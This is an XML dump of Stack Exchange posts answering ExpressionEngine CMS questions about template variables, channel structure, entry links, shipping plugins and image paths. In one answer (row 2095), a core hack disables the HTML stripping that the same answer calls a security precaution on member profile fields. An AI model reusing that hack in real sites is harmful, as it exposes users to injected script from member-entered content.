  <row Id="2075" PostTypeId="2" ParentId="2073" CreationDate="2012-12-24T11:25:14.213" Score="4" Body="&lt;p&gt;I found the solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $assign_to_config;&#xA;    if( ! isset($assign_to_config['global_vars']))&#xA;    {&#xA;        $assign_to_config['global_vars'] = array();&#xA;    }&#xA;&#xA;    $main_global = array(&#xA;        'global:env'      =&amp;gt; ENV,&#xA;        'global:env_full' =&amp;gt; ENV_FULL&#xA;    );&#xA;$assign_to_config['global_vars'] = array_merge($assign_to_config['global_vars'], $master_global, $env_global);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I can assign custom global in my $main_global.&lt;/p&gt;&#xA;" OwnerUserId="665" LastActivityDate="2012-12-24T11:25:14.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2076" PostTypeId="2" ParentId="2073" CreationDate="2012-12-24T11:27:01.590" Score="4" Body="&lt;p&gt;You can still use the Global Variables Array, that formerly existed in the path.php file, but now exists in your primary index.php file for the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've include an example of the formatting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['global_vars'] = array(&#xA;    'subsite_id' =&amp;gt; 'subsite01',&#xA;    'subsite_no' =&amp;gt; '259',&#xA;    'domain' =&amp;gt; 'http://mydomain.org',&#xA;    'https' =&amp;gt; $_SERVER[&quot;HTTPS&quot;],&#xA;    ); // This array must be associative&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-24T11:27:01.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2077" PostTypeId="2" ParentId="2071" CreationDate="2012-12-24T12:22:16.027" Score="4" Body="&lt;p&gt;This was patched in 2.5.4, &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-5-4&quot;&gt;according to the changelog&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-12-24T12:22:16.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2078" PostTypeId="2" ParentId="2052" CreationDate="2012-12-24T12:29:12.137" Score="2" Body="&lt;p&gt;This is a more general comment but, when having to insert an html element every x iterations of a loop, I use the following syntax, whch I find easy to understand.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot;}&#xA;    {if '{switch=&quot;one|two|three&quot;}' == &quot;one&quot;}&amp;lt;div class=&quot;row&quot;&amp;gt;{/if}&#xA;        ... something ...&#xA;    {if '{switch=&quot;one|two|three&quot;}' == &quot;three&quot; || &quot;{count}&quot; == &quot;{total_results}&quot;}&amp;lt;/div&amp;gt;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-12-24T12:29:12.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2079" PostTypeId="2" ParentId="2036" CreationDate="2012-12-24T12:29:44.700" Score="1" Body="&lt;p&gt;I had this before in the same scenario - in my issue the global variable {file_dir} would not parse in child sites - This was filed as a bug and got a resolution here (ps i dont think matrix is effecting it...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/18265&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/18265&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For people without access to the ee bug tracker&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Open system/expressionengine/libraries/File_field.php and find this code on line 582:&#xA;$this-&amp;gt;_upload_prefs = $this-&amp;gt;EE-&amp;gt;file_upload_preferences_model-&amp;gt;get_file_upload_preferences(&#xA;    $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('group_id')&#xA;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And REPLACE it with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;_upload_prefs = $this-&amp;gt;EE-&amp;gt;file_upload_preferences_model-&amp;gt;get_file_upload_preferences(&#xA;    $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('group_id'),&#xA;    NULL,&#xA;    TRUE&#xA;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe this is down as fixed in the next version, but this solved the issue for us&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="355" LastActivityDate="2012-12-24T12:29:44.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2080" PostTypeId="1" AcceptedAnswerId="2081" CreationDate="2012-12-24T14:19:44.453" Score="3" ViewCount="329" Body="&lt;p&gt;I'm using a date field type to display the date of an upcoming event, but when its rendered it displays as a string of numbers.  For example, one date displays as &quot;1356393654&quot;.  I'm not using any plug-ins, and I've already set the date formatting, which doesn't seem to have an effect.  Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;ul class=&quot;upcoming-events&amp;gt;&#xA;        &amp;lt;li class=&quot;section-post&quot;&amp;gt;&#xA;            {exp:channel:entries channel=&quot;home&quot; disable=&quot;categories|member_data|pagination&quot; sort=&quot;asc&quot;}&#xA;            &amp;lt;h3&amp;gt;&amp;lt;img src=&quot;{site_url}/images/interface/noun_project_8151.svg&quot; width=&quot;18&quot; alt=&quot;calendar&quot;&amp;gt; {title}&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;h5&amp;gt;{event_date format=%D, %F %d, %Y}&amp;lt;/h5&amp;gt;&#xA;            &amp;lt;p&amp;gt;{event_details}&amp;lt;/p&amp;gt;&#xA;            {/exp:channel:entries}&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="667" LastActivityDate="2013-10-28T18:24:42.240" Title="date field type displays as a string" Tags="|channel-entries|date|fieldtype|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2081" PostTypeId="2" ParentId="2080" CreationDate="2012-12-24T14:52:25.040" Score="3" Body="&lt;p&gt;You forgot the '' in your  tag :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h5&amp;gt;{event_date format=%D, %F %d, %Y}&amp;lt;/h5&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Correct : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h5&amp;gt;{event_date format='%D, %F %d, %Y'}&amp;lt;/h5&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="665" LastActivityDate="2012-12-24T14:52:25.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2082" PostTypeId="2" ParentId="2041" CreationDate="2012-12-24T18:31:49.393" Score="5" Body="&lt;p&gt;OK I found the bug. I'll get in touch with Digital Wax Works to update the add-on, but in the meantime here's your fix:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open up /system/expressionengine/third_party/eehive_flickr/pi.eehive_flickr.php, and at around line 310 you should find:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Retrieve favorites from Flickr&#xA;$favorites = $f-&amp;gt;favorites_getPublicList($flickr_settings['option_nsid'], NULL, NULL, $this-&amp;gt;api_extras, $numPhotos, 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That method call is missing a parameter, so add another NULL in there like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$favorites = $f-&amp;gt;favorites_getPublicList($flickr_settings['option_nsid'], NULL, NULL, NULL, $this-&amp;gt;api_extras, $numPhotos, 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Give that a go, I hope it works for you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;John&lt;/p&gt;&#xA;" OwnerUserId="486" LastActivityDate="2012-12-24T18:31:49.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2083" PostTypeId="1" CreationDate="2012-12-24T18:42:37.070" Score="3" ViewCount="225" Body="&lt;p&gt;I read somewhere that its good to use a channel for each page on your site, that way it makes it easy for the person who will ultimately be updating content to easily understand how its structured.  Is that the best way?  If so, I have probably 30 pages on the site I'm currently working on, and the navigation has sub-menus that lead to more pages.  It seems crazy to me to have 30+ channels listed in the publish content drop-down.  Can someone help me clarify the best way to structure all of this? &lt;/p&gt;&#xA;" OwnerUserId="667" LastActivityDate="2012-12-26T18:08:05.073" Title="Help with channels and structuring content" Tags="|channel|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2084" PostTypeId="2" ParentId="2083" CreationDate="2012-12-24T19:22:32.890" Score="5" Body="&lt;p&gt;Not a channel per page, closer to a channel per section. If you think of pages as the final contact, like an individual post, a single product description or say a mission statement; then sections are what groups them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A section would be what separates, all the content related to say your About Us area versus say all your organizations research, blog posts or products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If and when creating a section or content area ( template groups) you may end up with multiple content types (templates). For example, the index page of the section may display the most recent 10 items. That acts as a 'listing' page, and that would be, but doesn't have to be, seperate from an actual full content page, like an article, staff profile, publication, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's give a better example. Let's assume you were creating a fairly basic 'portfolio' site (you want to give people information about you and your work). You might have these sections: About, Blog, Contact, Clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some About areas are a single page, some are very detailed, listing staff, projects, newsletters, etc. A staff listing may differ far enough from a project or newsletter listing, that you'd want 2 separate templates. If so, your section may end up with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;template_group: about&#xA;templates:      about/index&#xA;                about/staff&#xA;                about/post&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is one section that references a single template_group, that then has three different display options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The index page would introduce people to the section. It could be a listing of recent items, or composed to introduce everything you consider relevant. See &lt;a href=&quot;http://www.snowshoestamp.com/about/&quot; rel=&quot;nofollow&quot;&gt;SnowShoe&lt;/a&gt; as an example. Not a site we designed, but I was just looking at it today for other purposes. It's about page, gives you the quick mission and then a listing of other items you can access—mainly staff profiles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The staff profiles could be an overlay, like on that page, or could be separate template that specifies, picture size and placement, contact information, then the profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The post template, would then handle everything else— press releases, newsletters, project listings etc. Assuming that the formats are all similar (title, summary, body).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;strong&gt;NO&lt;/strong&gt; you don't want 30 templates, you want to think about content areas and how people will interact with them. Then create the smallest number of templates that you need. For example, 80% of our sites are formatted with this formula:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template Group name matches navigation section (About == about, Research == research, etc.). Each template_group starts with three templates— index, archive, article. More templates are added if needed, sometimes 'archive' is removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a site with five sections— about, contact, research, blog, links, may have 10-15 templates, that serve up between 50 to a couple hundred pages of data. Creating one template per page defeats the purpose of a content management system, which is to separate content from design, and allow your templates to be reusable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you has 20 staff members, you wouldn't want to create 20 templates, but one template that is the staff profile and a second template that is the staff listing or directory.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="150" LastEditDate="2012-12-25T03:52:33.413" LastActivityDate="2012-12-25T03:52:33.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2085" PostTypeId="2" ParentId="2083" CreationDate="2012-12-25T19:39:25.167" Score="1" Body="&lt;p&gt;I don't do a channel per page, that wouldn't even make sense for many dynamic sites with the same content spanning multiple pages. I make a channel for every stream of data (a news channel, a program channel) and one channel for all the fairly static pages that I want to be editable in the CP. I then use the pages module or one of the more complex Addon's to lay out their URL structure and hierarchy on the site. &lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2012-12-26T08:23:21.163" LastActivityDate="2012-12-26T08:23:21.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2086" PostTypeId="1" AcceptedAnswerId="2087" CreationDate="2012-12-26T00:47:11.273" Score="4" ViewCount="2425" Body="&lt;p&gt;When looping through Channel entries, is there a way to provide users with a link they can click on that will take them to that specific Channel entry? I seem to recall seeing some &quot;url&quot; variable available within &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag pair, but can't find it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, once I'm on that specific Channel entry page, how do I know which entry it is so I can display the rest of the Channel's data?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-26T15:43:38.043" Title="How to display Channel entry page?" Tags="|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2087" PostTypeId="2" ParentId="2086" CreationDate="2012-12-26T01:10:57.703" Score="6" Body="&lt;p&gt;If you have an index or listing page, like  products, your code maybe like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;10&quot; orderby=&quot;date&quot; sort=&quot;desc&quot;}&#xA;&#xA;    &amp;lt;div class=&quot;pic-wall&quot;&amp;gt;&amp;lt;a href=/product/profile/{url_title}&quot;&amp;gt;&amp;lt;img src=&quot;/images/product/{product_image_file}&quot; alt=&quot;{title}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then on your product profile page, you'd want something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;product&quot; limit=&quot;1&quot;}&#xA;&#xA;&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;{product_description}&#xA;&amp;lt;hr /&amp;gt;&#xA;{other_fields}&#xA;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additionally, you can use the &lt;code&gt;url_title=&quot;{segment_3}&quot;&lt;/code&gt; to make sure the record exists, or the if no_results option so that random urls, if generated will result in a 404 call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key component is to either use the {url_title}, {entry_id}, {comment_entry_id_auto_path}, or {permalink}. There are a few more options, but they are basically variations of the above for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{url_title}&lt;/code&gt; will allow you to custom create the path to the entry like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{domain}/products/detail/{url_title}&quot; title=&quot;{title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or you could use {url_title_path}. {url_title_path} assumes you've completed the details in channel profiles, when you were setting things up, so if you said the default path for products was &lt;code&gt;products/details&lt;/code&gt; it will use that, but if you said it was &lt;code&gt;products/index&lt;/code&gt; then it would have the wrong path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tend to use the {url_title} because I like the flexibility, one of the other developers I work with prefers using the {url_title_path} option. But both will create a link, so that you can design a template with detail specific fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#parameters&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#parameters&lt;/a&gt; to see all the various parameter options available to you.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-26T01:10:57.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2088" PostTypeId="2" ParentId="748" CreationDate="2012-12-26T08:49:28.320" Score="2" Body="&lt;p&gt;You simply copy the following code where you want &#xA;&lt;code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&amp;lt;div id=&quot;recentcomments&quot; class=&quot;dsq-widget&quot;&amp;gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://yourshortname.disqus.com/recent_comments_widget.js?num_items=5&amp;amp;hide_avatars=0&amp;amp;avatar_size=32&amp;amp;excerpt_length=200&quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more details check link : &#xA;&lt;a href=&quot;http://www.growtechinfo.com/2012/12/add-disqus-recent-comment-widget-to.html&quot; rel=&quot;nofollow&quot;&gt;http://www.growtechinfo.com/2012/12/add-disqus-recent-comment-widget-to.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="670" LastActivityDate="2012-12-26T08:49:28.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2089" PostTypeId="1" AcceptedAnswerId="2093" CreationDate="2012-12-26T11:25:50.370" Score="3" ViewCount="151" Body="&lt;p&gt;Has anyone set up a 'by - category' type shipping plugin in exp:resso store? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to allow the client to use the category list to manage their own categories for products, but at the same time put in a flat rate for shipping per category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if a category falls under the category of books, the shipping is $4. If it is something small like seeds, shipping is $1, etc etc. If they pick one of each, the larger is taken as the final shipping price. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking at the: per_item_rate, per_weight_rate fields in the store tables and I am thinking of adding a: per_category_rate table, but don't want to modify core stuff, only extending what is there for easy upgrades. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So taking the default shipping plugin - would it be best to start from this and build upon it, making change to the database fields and logic within it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, would it be better to pull from a category group, and use a custom shipping field for the category, and roll your own plugin for shipping this way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any points in the right direction will ensure I don't go too far down one route when another is the best practice or more flexible way of going about it. &lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2012-12-26T18:09:15.040" Title="Store and Shipping by Category" Tags="|expresso-store|ecommerce|expresso|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2090" PostTypeId="2" ParentId="2086" CreationDate="2012-12-26T15:43:38.043" Score="2" Body="&lt;p&gt;My preferred method is to use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#comment-url-title-auto-path&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;{comment_url_title_auto_path}&lt;/strong&gt;&lt;/a&gt;. I find that this is the most future proof method since if your urls change in the future for some reason then you only need to make a change in the url settings for that specific channel and not throughout all of your templates. In your specific channel go to admin &gt; channel Preferences &gt; channel name and be sure to fill out the &lt;strong&gt;comment page url&lt;/strong&gt; with the segment of where that channel should appear. For example if it's for your blog page which has a url like this domain.com/blog/url_title then in that setting you would put &lt;strong&gt;blog&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-26T15:43:38.043" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2091" PostTypeId="1" AcceptedAnswerId="2141" CreationDate="2012-12-26T17:03:01.203" Score="6" ViewCount="873" Body="&lt;p&gt;I recently migrated our sites over to Nexcess EE hosting. After that I notice that some images  are not showing up. Some images in certain directories work as expected, while others in the very same directory do not. Upon further investigation in the source the image paths read the following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//chrootimages/uploads/image.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We are expecting to see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/images/uploads/image.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen this? What is a possible remedy?&lt;/p&gt;&#xA;" OwnerUserId="4" LastEditorUserId="4" LastEditDate="2012-12-28T19:59:24.540" LastActivityDate="2013-02-13T14:29:19.460" Title="Why are some image paths wrong after migration to Nexcess?" Tags="|ce-image|image-path|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2092" PostTypeId="2" ParentId="2083" CreationDate="2012-12-26T18:08:05.073" Score="2" Body="&lt;p&gt;I like @nonprofit_tech's answer, and I'll throw an example at you based on how I handle templating relative to channels.  I too tend to create a channel per section or content area, though I specifically break it into a &quot;pages&quot; channel for the section and then, if needed, content-specific channels for specialized areas of content.  An example will help make this approach a bit more clear.  Sticking with an &quot;about&quot; section as an example, since I think it demonstrates this well...  Let's say I have an &quot;About&quot; section.  Within that section, I know I'm going to create a page that will list staff members, as well as link to each staff member's detailed profile.  I will also include in that section a page of &quot;locations&quot; that will list my retail stores, again each with a details view.  I often handle a setup like this as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I create an &quot;about pages&quot; channel.  I also create a channel for staff and a channel for locations.  I do this because I want to create entry screens that use custom fields that are very deliberately tailored to the staff and locations info that are certainly very different from more &quot;page-oriented&quot; content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea is that any entry in the &quot;about pages&quot; channel actually creates a page within the section.  And so within that section's index template, I use two channel loops - one in the body area, which uses a limit of 1, and one in the sidebar with a limit of perhaps 30 (let's assume I don't expect the client to ever create more than that number of pages in the section, for example) and dynamic=&quot;no&quot; to ensure that it displays the same way even when the URL changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That approach alone will allow each entry to act as a page within the section.  And so the client can then easily create a page for &quot;Staff&quot; or &quot;Locations&quot; or &quot;Our History&quot; or &quot;Returns Policy&quot; - really whatever they dream up.  But how do they tie the staff channel entries to the entry in the about channel that the client has created for the Staff content?  The client doesn't need the ability to format the list of staff members - just to indicate that they would like that content to display on that specific &quot;page&quot; they created as an entry.  And so I create a sub-template for the list view of the staff - all pre-formatted and ready to drop in where the client needs it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, I add a custom field to my &quot;about pages&quot; field group to allow the client to select which custom, section-specific subtemplate they would like displayed right after the body field content - I usually use a radio button so they can see all the options available, and i make the first one &quot;none&quot; (since clearly not every page entry actually needs a subtemplate to be displayed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And so in my template, we look to see what they have selected in that field (I tend to use Switchee for this) and then if it's something other than &quot;none&quot;, such as &quot;staff list&quot; or &quot;locations list&quot; then the sub-template is used.  Since that subtemplate involves pulling content from another channel, you may need to approach this with an embed (since you can't have an entries loop inside another entries loop - though there are add-ons and techniques to get around that as well).  It does require you to think ahead and plan specific options for them to select and display conditionally within the template.  But I have used this approach many times now and clients really seem to like it and find it easy to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So then within the &quot;about&quot; section, like @nonprofit_tech outlined, I wind up with only a couple of templates (and a couple of &quot;embed&quot; templates as well for the lists appropriate to the section).  The index template handles the display of all the page content, and the embedded sub-templates handle displaying the listing of staff, locations, etc), and then I need a display template for a staff person's profile, for example.  So something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;About Template Group&#xA;    - index&#xA;    - bio (single staff profile template)&#xA;    - location (single location details template)&#xA;    - staff-list-embed (list of staff)&#xA;    - locations-list-embed (list of locations)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I actually tend to actually put embeds all in one &quot;embeds&quot; template group, but I display then here to show you that with this example, you would have only 5 templates in total needed for the about section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you find the example useful.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2012-12-26T18:08:05.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2093" PostTypeId="2" ParentId="2089" CreationDate="2012-12-26T18:09:15.040" Score="2" Body="&lt;p&gt;There is nothing like this built in, so you would need to create a shipping plugin from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just need a one-off, and don't mind hard coding the values, you would be best to take a look at this simple &lt;a href=&quot;https://gist.github.com/2176462&quot; rel=&quot;nofollow&quot;&gt;example shipping plugin for Expresso Store&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to create a redistributable plugin with a nice interface etc, take a look at the default shipping plugin (which is significantly more complex than any of the other shipping plugins). You probably want to avoid creating extra database tables etc, so you can store the settings for your plugin as an array (this will get automatically serialized/unserialized when your plugin is loaded).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If creating a reusable plugin, I would either create an interface to select categories and assign prices to them, or use a custom category field for the price, and provide a dropdown to select which custom field contains the shipping price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably the most important thing to think about will be defining what happens when more than one product is added to the cart, or when a product belongs to more than one category. It sounds like you have an answer for this for your specific needs, but if you want to create a flexible calculator you might want to provide options for this as well.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-12-26T18:09:15.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2094" PostTypeId="1" CreationDate="2012-12-26T18:49:10.980" Score="3" ViewCount="188" Body="&lt;p&gt;I have a custom profile textarea, formatting set to none, with simple HTML markup in it. According to the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/text_formatting.html#none&quot; rel=&quot;nofollow&quot;&gt;EE docs&lt;/a&gt;, it should be left &quot;as is.&quot; But when I view a template pulling this field into it, all markup is stripped out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been dev'ing in EE for years, and I'm pretty familiar with most things, yet this has never happened to me (nor have I ever had the opportunity for it to be an issue--rarely mess with member profiles).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Originally, I'd assumed the default member bio field's formatting was set to &quot;none,&quot; but I was experiencing the same issue, so I made a custom bio field. Same thing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's nothing surrounding the field in the template, it is literally dropped into a div by itself. There's nothing special about the &lt;code&gt;{exp:member:custom}&lt;/code&gt; tag pair either, the only parameter I include is the &lt;code&gt;member_id&lt;/code&gt;. All other fields display properly (&lt;code&gt;screen_name&lt;/code&gt;, and a series of links to social profiles).&lt;/p&gt;&#xA;" OwnerUserId="673" LastEditorUserId="55" LastEditDate="2012-12-27T13:50:09.827" LastActivityDate="2012-12-28T17:17:04.403" Title="Why is this non-formatted member profile textarea stripping HTML markup?" Tags="|templates|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2095" PostTypeId="2" ParentId="2094" CreationDate="2012-12-26T20:33:01.453" Score="2" Body="&lt;p&gt;UPDATED: You should probably set your custom field to be formatted as &quot;XHTML.&quot; Custom member fields are processed by the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/typography.html&quot; rel=&quot;nofollow&quot;&gt;Typography class&lt;/a&gt;, which strips HTML tags when &quot;none&quot; is used (as a security precaution).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you have written your own custom field, you can verify my statement by reviewing these functions in the Custom Member Field call chain:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;mod.member.php::custom_profile_data()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;EE_Typography.php::parse_type()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;EE_Typography.php::format_html()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Since XHTML does not appear to work around this for all HTML tags, the following core hack will work for now:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open system/expressionengine/libraries/EE_Typography.php&lt;/li&gt;&#xA;&lt;li&gt;Find &lt;code&gt;function parse_type&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Locate &lt;code&gt;$str = $this-&amp;gt;format_html($str);&lt;/code&gt; within the function.&lt;/li&gt;&#xA;&lt;li&gt;Replace that line with this: &lt;code&gt;if ($this-&amp;gt;text_format != 'none') { $str = $this-&amp;gt;format_html($str); }&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="460" LastEditorUserId="460" LastEditDate="2012-12-28T17:17:04.403" LastActivityDate="2012-12-28T17:17:04.403" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2096" PostTypeId="2" ParentId="2091" CreationDate="2012-12-27T00:06:46.510" Score="1" Body="&lt;p&gt;I would look at your image paths Content &gt; Files &gt; File Upload Prefs and make sure that your image directories have the appropriate paths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a good idea to bootstrap your config for upload directories so that they work regardless of what server you're on.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2012-12-27T00:06:46.510" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
